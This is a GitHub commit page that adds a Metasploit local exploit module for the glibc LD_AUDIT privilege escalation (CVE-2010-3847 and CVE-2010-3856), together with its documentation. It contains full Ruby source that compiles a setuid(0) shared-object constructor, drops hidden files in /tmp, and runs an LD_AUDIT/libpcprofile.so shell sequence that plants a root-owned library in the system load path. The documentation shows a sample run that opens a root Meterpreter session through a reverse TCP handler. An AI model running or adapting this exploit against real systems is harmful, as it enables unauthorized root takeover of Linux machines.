Skip to content

Commit cb1b595

Browse files
committed
Land rapid7#9469 linux local exploit for glibc ld audit
2 parents 44b08fe + 5b251ae commit cb1b595

File tree

2 files changed

+321
-0
lines changed

2 files changed

+321
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker to load arbitrary shared objects.
4+
5+
6+
## Vulnerable Application
7+
8+
glibc `ld.so` in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the `LD_AUDIT` environment variable when loading setuid executables. This allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user.
9+
10+
This module uses `LD_AUDIT` to load the `libpcprofile.so` shared object, distributed with some versions of glibc, and leverages arbitrary file creation functionality in the library constructor to write a root-owned world-writable file to a system trusted search path (usually `/lib`). The file is then overwritten with a shared object then loaded with `LD_AUDIT` resulting in arbitrary code execution.
11+
12+
This module has been tested successfully on:
13+
14+
* glibc version 2.11.1 on Ubuntu 10.04 (x86_64)
15+
* glibc version 2.7 on Debian 5.0.4 (i386)
16+
17+
RHEL 5 is reportedly affected, but untested.
18+
19+
Some glibc distributions do not contain the `libpcprofile.so` library required for successful exploitation.
20+
21+
22+
## Verification Steps
23+
24+
1. Start `msfconsole`
25+
2. Get a session
26+
3. Do: `use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc`
27+
4. Do: `set SESSION [SESSION]`
28+
5. Do: `check`
29+
6. Do: `run`
30+
7. You should get a new *root* session
31+
32+
33+
## Options
34+
35+
**SESSION**
36+
37+
Which session to use, which can be viewed with `sessions`
38+
39+
**WritableDir**
40+
41+
A writable directory file system path. (default: `/tmp`)
42+
43+
44+
## Scenarios
45+
46+
```
47+
msf > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
48+
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
49+
session => 1
50+
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
51+
52+
[*] Started reverse TCP handler on 172.16.191.244:4444
53+
[+] The target appears to be vulnerable
54+
[*] Using target: Linux x64
55+
[*] Writing '/tmp/.GQh1C8euY' (1913 bytes) ...
56+
[*] Writing '/tmp/.3l76zsoHT' (246 bytes) ...
57+
[*] Writing '/tmp/.WSuOVyo' (207 bytes) ...
58+
[*] Launching exploit...
59+
[*] Sending stage (857352 bytes) to 172.16.191.149
60+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.149:45721) at 2018-01-27 23:59:36 -0500
61+
62+
meterpreter > getuid
63+
Server username: uid=0, gid=0, euid=0, egid=0
64+
meterpreter > sysinfo
65+
Computer : 172.16.191.149
66+
OS : Ubuntu 10.04 (Linux 2.6.32-21-generic)
67+
Architecture : x64
68+
BuildTuple : i486-linux-musl
69+
Meterpreter : x86/linux
70+
meterpreter >
71+
```
72+
Lines changed: 249 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,249 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/local/linux'
7+
require 'msf/core/exploit/exe'
8+
9+
class MetasploitModule < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
include Msf::Exploit::Local::Linux
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
20+
'Description' => %q{
21+
This module attempts to gain root privileges on Linux systems by abusing
22+
a vulnerability in the GNU C Library (glibc) dynamic linker.
23+
24+
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
25+
properly restrict use of the LD_AUDIT environment variable when loading
26+
setuid executables. This allows loading arbitrary shared objects from
27+
the trusted library search path with the privileges of the suid user.
28+
29+
This module uses LD_AUDIT to load the libpcprofile.so shared object,
30+
distributed with some versions of glibc, and leverages arbitrary file
31+
creation functionality in the library constructor to write a root-owned
32+
world-writable file to a system trusted search path (usually /lib).
33+
The file is then overwritten with a shared object then loaded with
34+
LD_AUDIT resulting in arbitrary code execution.
35+
36+
This module has been tested successfully on glibc version 2.11.1 on
37+
Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.
38+
39+
RHEL 5 is reportedly affected, but untested. Some glibc distributions
40+
do not contain the libpcprofile.so library required for successful
41+
exploitation.
42+
},
43+
'License' => MSF_LICENSE,
44+
'Author' =>
45+
[
46+
'Tavis Ormandy', # Discovery and exploit
47+
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit
48+
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits
49+
'Todor Donev', # libmemusage.so exploit
50+
'Brendan Coles' # Metasploit
51+
],
52+
'DisclosureDate' => 'Oct 18 2010',
53+
'Platform' => 'linux',
54+
'Arch' => [ ARCH_X86, ARCH_X64 ],
55+
'SessionTypes' => [ 'shell', 'meterpreter' ],
56+
'Targets' =>
57+
[
58+
[ 'Automatic', { } ],
59+
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
60+
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
61+
],
62+
'DefaultTarget' => 0,
63+
'References' =>
64+
[
65+
[ 'CVE', '2010-3847' ],
66+
[ 'CVE', '2010-3856' ],
67+
[ 'BID', '44154' ],
68+
[ 'BID', '44347' ],
69+
[ 'EDB', '15274' ],
70+
[ 'EDB', '15304' ],
71+
[ 'EDB', '18105' ],
72+
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
73+
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
74+
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
75+
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
76+
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
77+
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
78+
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
79+
]
80+
))
81+
register_options(
82+
[
83+
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
84+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
85+
])
86+
end
87+
88+
def base_dir
89+
datastore['WritableDir']
90+
end
91+
92+
def suid_exe_path
93+
datastore['SUID_EXECUTABLE']
94+
end
95+
96+
def check
97+
glibc_banner = cmd_exec 'ldd --version'
98+
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
99+
if glibc_version.to_s.eql? ''
100+
vprint_error 'Could not determine the GNU C library version'
101+
return CheckCode::Safe
102+
elsif glibc_version >= Gem::Version.new('2.12.2') ||
103+
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
104+
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
105+
return CheckCode::Safe
106+
end
107+
vprint_good "GNU C Library version #{glibc_version} is vulnerable"
108+
109+
lib = 'libpcprofile.so'
110+
@lib_dir = nil
111+
vprint_status "Checking for #{lib} in system search paths"
112+
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
113+
search_paths.split('path=')[1..-1].join.split(':').each do |path|
114+
lib_dir = path.to_s.strip
115+
next if lib_dir.eql? ''
116+
libs = cmd_exec "ls '#{lib_dir}'"
117+
if libs.include? lib
118+
@lib_dir = lib_dir
119+
break
120+
end
121+
end
122+
if @lib_dir.nil?
123+
vprint_error "Could not find #{lib}"
124+
return CheckCode::Safe
125+
end
126+
vprint_good "Found #{lib} in #{@lib_dir}"
127+
128+
unless setuid? suid_exe_path
129+
vprint_error "#{suid_exe_path} is not setuid"
130+
return CheckCode::Detected
131+
end
132+
vprint_good "#{suid_exe_path} is setuid"
133+
134+
CheckCode::Appears
135+
end
136+
137+
def upload_and_chmodx(path, data)
138+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
139+
rm_f path
140+
write_file path, data
141+
cmd_exec "chmod +x '#{path}'"
142+
register_file_for_cleanup path
143+
end
144+
145+
def on_new_session(client)
146+
# remove root owned shared object from system load path
147+
if client.type.eql? 'meterpreter'
148+
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
149+
client.fs.file.rm @so_path
150+
else
151+
client.shell_command_token "rm #{@so_path}"
152+
end
153+
end
154+
155+
def exploit
156+
check_status = check
157+
158+
if check_status == CheckCode::Appears
159+
print_good 'The target appears to be vulnerable'
160+
elsif check_status == CheckCode::Detected
161+
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
162+
else
163+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
164+
end
165+
166+
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
167+
payload_path = "#{base_dir}/#{payload_name}"
168+
169+
# Set target
170+
uname = cmd_exec 'uname -m'
171+
vprint_status "System architecture is #{uname}"
172+
if target.name.eql? 'Automatic'
173+
case uname
174+
when 'x86_64'
175+
my_target = targets[2]
176+
when /x86/, /i\d86/
177+
my_target = targets[1]
178+
else
179+
fail_with Failure::NoTarget, 'Unable to automatically select a target'
180+
end
181+
else
182+
my_target = target
183+
end
184+
print_status "Using target: #{my_target.name}"
185+
186+
cpu = nil
187+
case my_target['Arch']
188+
when ARCH_X86
189+
cpu = Metasm::Ia32.new
190+
when ARCH_X64
191+
cpu = Metasm::X86_64.new
192+
else
193+
fail_with Failure::NoTarget, 'Target is not compatible'
194+
end
195+
196+
# Compile shared object
197+
so_stub = %|
198+
extern int setuid(int);
199+
extern int setgid(int);
200+
extern int system(const char *__s);
201+
202+
void init(void) __attribute__((constructor));
203+
204+
void __attribute__((constructor)) init() {
205+
setuid(0);
206+
setgid(0);
207+
system("#{payload_path}");
208+
}
209+
|
210+
211+
begin
212+
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
213+
rescue
214+
print_error "Metasm encoding failed: #{$ERROR_INFO}"
215+
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
216+
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
217+
fail_with Failure::Unknown, 'Metasm encoding failed'
218+
end
219+
220+
# Upload shared object
221+
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
222+
so_path = "#{base_dir}/#{so_name}"
223+
upload_and_chmodx so_path, so
224+
225+
# Upload exploit
226+
@so_path = "#{@lib_dir}/#{so_name}.so"
227+
exp = %(
228+
umask 0
229+
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
230+
umask 0022
231+
cat #{so_path} > #{@so_path}
232+
LD_AUDIT="#{so_name}.so" #{suid_exe_path}
233+
echo > #{@so_path}
234+
)
235+
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
236+
exp_path = "#{base_dir}/#{exp_name}"
237+
upload_and_chmodx exp_path, exp
238+
239+
# Upload payload
240+
upload_and_chmodx payload_path, generate_payload_exe
241+
242+
# Launch exploit
243+
print_status 'Launching exploit...'
244+
# The echo at the end of the command is required
245+
# else the original session may die
246+
output = cmd_exec "#{exp_path}& echo "
247+
output.each_line { |line| vprint_status line.chomp }
248+
end
249+
end

0 commit comments

Comments
 (0)